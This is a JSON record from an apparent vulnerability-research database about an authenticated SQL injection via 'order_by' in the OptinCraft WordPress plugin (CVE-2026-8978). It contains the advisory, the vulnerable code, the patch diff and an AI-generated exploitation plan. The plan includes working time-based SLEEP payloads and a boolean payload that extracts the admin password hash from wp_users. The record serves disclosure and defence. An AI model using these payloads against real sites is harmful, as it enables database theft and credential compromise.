[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fpZZVvlAZ1yheko3X8mnuK_9zGaA0NrvLC2NuNbCY0Uo":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-8978","optincraft-authenticated-administrator-sql-injection-via-orderby-parameter","OptinCraft \u003C= 1.2.0 - Authenticated (Administrator+) SQL Injection via 'order_by' Parameter","The OptinCraft – Drag & Drop Optins & Popup Builder for WordPress plugin for WordPress is vulnerable to generic SQL Injection via the 'order_by' parameter in all versions up to, and including, 1.2.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","optincraft",null,"\u003C=1.2.0","1.2.1","medium",4.9,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-06-05 13:57:33","2026-06-06 02:28:38",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ff28a95b0-0f7d-43c4-acf9-13c561245f4b?source=api-prod",1,[22,23,24,25,26,27,28,29],"app\u002FHttp\u002FControllers\u002FAdmin\u002FCampaignController.php","app\u002FHttp\u002FControllers\u002FAdmin\u002FResponseController.php","app\u002FHttp\u002FControllers\u002FAdmin\u002FTaskController.php","app\u002FRepositories\u002FCampaignRepository.php","languages\u002Foptincraft.po","languages\u002Foptincraft.pot","optincraft.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-8978 - OptinCraft SQL Injection\n\n## 1. Vulnerability Summary\nThe **OptinCraft** plugin (\u003C= 1.2.0) is vulnerable to an authenticated SQL injection via the `order_by` parameter. The vulnerability exists because user-supplied input is passed through `sanitize_text_field()`—which does not neutralize SQL metacharacters—and is then concatenated directly into an `ORDER BY` clause within the custom Query Builder class (`OptinCraft\\WpMVC\\Database\\Query\\Builder`). \n\nWhile the vulnerability requires Administrator-level privileges (as indicated by the `Admin` namespace and `EnsureIsUserAdmin` middleware references), it allows for full extraction of sensitive database information, including WordPress user hashes and security salts.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** WordPress REST API. Based on the controller namespaces, the routes likely follow the pattern `\u002Fwp-json\u002Foptincraft\u002Fv1\u002Fadmin\u002Fcampaigns`.\n- **HTTP Method:** `GET` (for the `index` methods).\n- **Vulnerable Parameter:** `order_by`.\n- **Authentication:** Required (Administrator+). \n- **Preconditions:** The attacker must have a valid session as an administrator and a valid `wp_rest` nonce.\n\n## 3. Code Flow\n1. **Entry Point:** The request hits `OptinCraft\\App\\Http\\Controllers\\Admin\\CampaignController::index`.\n2. **Validation:** The `$request->validate()` call ensures `order_by` is a string but does not restrict it to a whitelist of columns.\n3. **DTO Population:** \n   ```php\n   \u002F\u002F CampaignController.php:39\n   ->set_order_by( sanitize_text_field( (string) $request->get_param( \"order_by\" ) ) ?? 'id' )\n   ```\n   `sanitize_text_field()` is used, which is insufficient for SQL injection prevention.\n4. **Repository Call:** `index()` returns `$this->repository->get( $dto )`.\n5. **Query Construction:** In `OptinCraft\\App\\Repositories\\CampaignRepository::get()`:\n   ```php\n   \u002F\u002F CampaignRepository.php:61\n   if ( $dto->get_order_by() ) {\n       $query->order_by( $dto->get_order_by(), $dto->get_order_direction() );\n   }\n   ```\n6. **Sink:** The `order_by()` method in the `Builder` class (part of the `WpMVC` framework included in the plugin) likely appends the raw string to the SQL statement without using `$wpdb->prepare()`, as `ORDER BY` clauses cannot be parameterized with standard placeholders in MySQL.\n\n## 4. Nonce Acquisition Strategy\nAccessing the REST API for `optincraft` requires a `wp_rest` nonce. \n1. **Shortcode Identification:** The plugin is a popup builder. The popups are likely loaded via the main plugin initialization.\n2. **Setup:**\n   - Create a page with a campaign (if necessary) to ensure the admin dashboard for OptinCraft is active.\n   - Use `wp post create --post_type=page --post_status=publish --post_title=\"Security Research\" --post_content=\"[optincraft id='1']\"` (Shortcode inferred from common WP patterns).\n3. **Acquisition:**\n   - Navigate to the WordPress Admin dashboard: `\u002Fwp-admin\u002Fadmin.php?page=optincraft`.\n   - Use `browser_eval` to extract the REST nonce from the global WordPress variable:\n     `browser_eval(\"wpApiSettings.nonce\")`\n\n## 5. Exploitation Strategy\nWe will use a **time-based blind SQL injection** because `ORDER BY` injections often do not allow for simple `UNION` statements depending on the Query Builder's structure.\n\n### Step 1: Verification (Time-Based)\nSend a request that causes a 5-second delay if the injection is successful.\n\n**HTTP Request:**\n```http\nGET \u002Fwp-json\u002Foptincraft\u002Fv1\u002Fadmin\u002Fcampaigns?page=1&perPage=10&order_by=(SELECT(1)FROM(SELECT(SLEEP(5)))a)&order_direction=asc HTTP\u002F1.1\nHost: localhost\nX-WP-Nonce: [EXTRACTED_NONCE]\nCookie: [ADMIN_COOKIES]\n```\n\n### Step 2: Data Extraction (Boolean-Based)\nIf the plugin returns a list of campaigns, we can use conditional logic in the `ORDER BY` to change the sort order based on a boolean condition.\n\n**Payload:**\n`IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',id,title)`\n- If the first character of the admin hash is `$`, results sort by `id`.\n- If not, results sort by `title`.\n\n## 6. Test Data Setup\n1. **Create Administrator:** Ensure an admin user exists.\n2. **Create Campaigns:** Create at least two campaigns with different IDs and titles to observe sorting changes.\n   ```bash\n   # Using the plugin's own logic via WP-CLI if available, or simply via the UI\n   # For the PoC, we can use the http_request tool to create a campaign first\n   ```\n3. **URL Mapping:** Confirm the REST base. Check `app\u002FProviders\u002FRouteServiceProvider.php` (if it exists) or grep for `register_rest_route`.\n   ```bash\n   grep -r \"register_rest_route\" .\n   ```\n\n## 7. Expected Results\n- **Time-based:** The response should take significantly longer (~5 seconds) than a normal request.\n- **Boolean-based:** The order of items in the `data` array of the JSON response will change depending on the truth of the SQL condition.\n\n## 8. Verification Steps\nAfter executing the exploit, verify the database state to ensure no corruption occurred and confirm the extracted data:\n```bash\n# Verify the admin password hash to match against extracted data\nwp db query \"SELECT user_pass FROM wp_users WHERE ID=1\"\n```\n\n## 9. Alternative Approaches\nIf the REST API endpoint is not `\u002Fwp-json\u002Foptincraft\u002Fv1\u002Fadmin\u002Fcampaigns`, check the following controllers which share the same vulnerability:\n- `OptinCraft\\App\\Http\\Controllers\\Admin\\ResponseController::index`\n  - Requires `campaign_id`, `page`, and `perPage`.\n- `OptinCraft\\App\\Http\\Controllers\\Admin\\TaskController::index`\n  - Requires `campaign_id`, `page`, and `perPage`.\n\nExample payload for `ResponseController`:\n`GET \u002Fwp-json\u002Foptincraft\u002Fv1\u002Fadmin\u002Fresponses?campaign_id=1&page=1&perPage=10&order_by=id,(SELECT(SLEEP(5)))`","The OptinCraft plugin for WordPress is vulnerable to authenticated SQL Injection via the 'order_by' parameter in several administrative REST API endpoints. This occurs because the plugin uses sanitize_text_field() on the parameter and directly concatenates it into an SQL ORDER BY clause within its query builder without proper preparation or whitelisting, allowing an administrator-level attacker to extract sensitive data from the database.","\u002F\u002F app\u002FHttp\u002FControllers\u002FAdmin\u002FCampaignController.php lines 25-39\n$request->validate(\n    [\n        \"page\"            => \"required|numeric\",\n        \"perPage\"         => \"required|numeric\",\n        \"search\"          => \"sometimes|string\",\n        \"order_by\"        => \"sometimes|string\",\n        \"order_direction\" => \"sometimes|string|in:asc,desc\",\n    ]\n);\n\n$dto = ( new Read )->set_page( $request->get_param( \"page\" ) )\n    ->set_per_page( $request->get_param( \"perPage\" ) )\n    ->set_search( sanitize_text_field( (string) $request->get_param( \"search\" ) ) )\n    ->set_order_by( sanitize_text_field( (string) $request->get_param( \"order_by\" ) ) ?? 'id' )\n    ->set_order_direction( (string) $request->get_param( \"order_direction\" ) ?? 'desc' );\n\n---\n\n\u002F\u002F app\u002FRepositories\u002FCampaignRepository.php lines 60-64\nif ( $dto->get_order_by() ) {\n    $query->order_by( $dto->get_order_by(), $dto->get_order_direction() );\n} else {\n    $query->latest( \"id\" );\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptincraft\u002F1.2.0\u002Fapp\u002FHttp\u002FControllers\u002FAdmin\u002FCampaignController.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptincraft\u002F1.2.1\u002Fapp\u002FHttp\u002FControllers\u002FAdmin\u002FCampaignController.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptincraft\u002F1.2.0\u002Fapp\u002FHttp\u002FControllers\u002FAdmin\u002FCampaignController.php\t2026-05-23 16:21:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptincraft\u002F1.2.1\u002Fapp\u002FHttp\u002FControllers\u002FAdmin\u002FCampaignController.php\t2026-05-29 20:21:08.000000000 +0000\n@@ -26,16 +26,12 @@\n                 \"page\"            => \"required|numeric\",\n                 \"perPage\"         => \"required|numeric\",\n                 \"search\"          => \"sometimes|string\",\n-                \"order_by\"        => \"sometimes|string\",\n-                \"order_direction\" => \"sometimes|string|in:asc,desc\",\n             ]\n         );\n \n         $dto = ( new Read )->set_page( $request->get_param( \"page\" ) )\n             ->set_per_page( $request->get_param( \"perPage\" ) )\n-            ->set_search( sanitize_text_field( (string) $request->get_param( \"search\" ) ) )\n-            ->set_order_by( sanitize_text_field( (string) $request->get_param( \"order_by\" ) ) ?? 'id' )\n-            ->set_order_direction( (string) $request->get_param( \"order_direction\" ) ?? 'desc' );\n+            ->set_search( sanitize_text_field( (string) $request->get_param( \"search\" ) ) );\n \n         return Response::send( $this->repository->get( $dto ) );\n     }\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptincraft\u002F1.2.0\u002Fapp\u002FRepositories\u002FCampaignRepository.php\t2026-05-23 16:21:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Foptincraft\u002F1.2.1\u002Fapp\u002FRepositories\u002FCampaignRepository.php\t2026-05-29 20:21:08.000000000 +0000\n@@ -47,14 +47,7 @@\n             }\n         );\n \n-        $query->select( 'campaign.id', 'campaign.title', 'campaign.description', 'campaign.type', 'campaign.status', 'campaign.updated_at' )->with( 'campaign_stats' );\n-\n-        \u002F\u002F Apply ordering\n-        if ( $dto->get_order_by() ) {\n-            $query->order_by( $dto->get_order_by(), $dto->get_order_direction() );\n-        } else {\n-            $query->latest( \"id\" );\n-        }\n+        $query->select( 'campaign.id', 'campaign.title', 'campaign.description', 'campaign.type', 'campaign.status', 'campaign.updated_at' )->with( 'campaign_stats' )->latest( \"campaign.id\" );\n \n         do_action( 'optincraft_get_campaigns_query', $query );","An attacker with Administrator-level access can exploit this vulnerability by sending a crafted GET request to administrative REST API routes such as \u002Fwp-json\u002Foptincraft\u002Fv1\u002Fadmin\u002Fcampaigns. By including a malicious SQL payload in the 'order_by' parameter, the attacker can perform time-based blind SQL injection (e.g., using SLEEP() functions) or boolean-based injection (e.g., using conditional logic like IF() to alter the sort order based on database values). This requires a valid WordPress REST API nonce and an active administrative session.","gemini-3-flash-preview","2026-06-26 03:26:44","2026-06-26 03:27:31",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.2.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Foptincraft\u002Ftags\u002F1.2.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Foptincraft.1.2.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Foptincraft\u002Ftags\u002F1.2.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Foptincraft.1.2.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Foptincraft\u002Ftags"]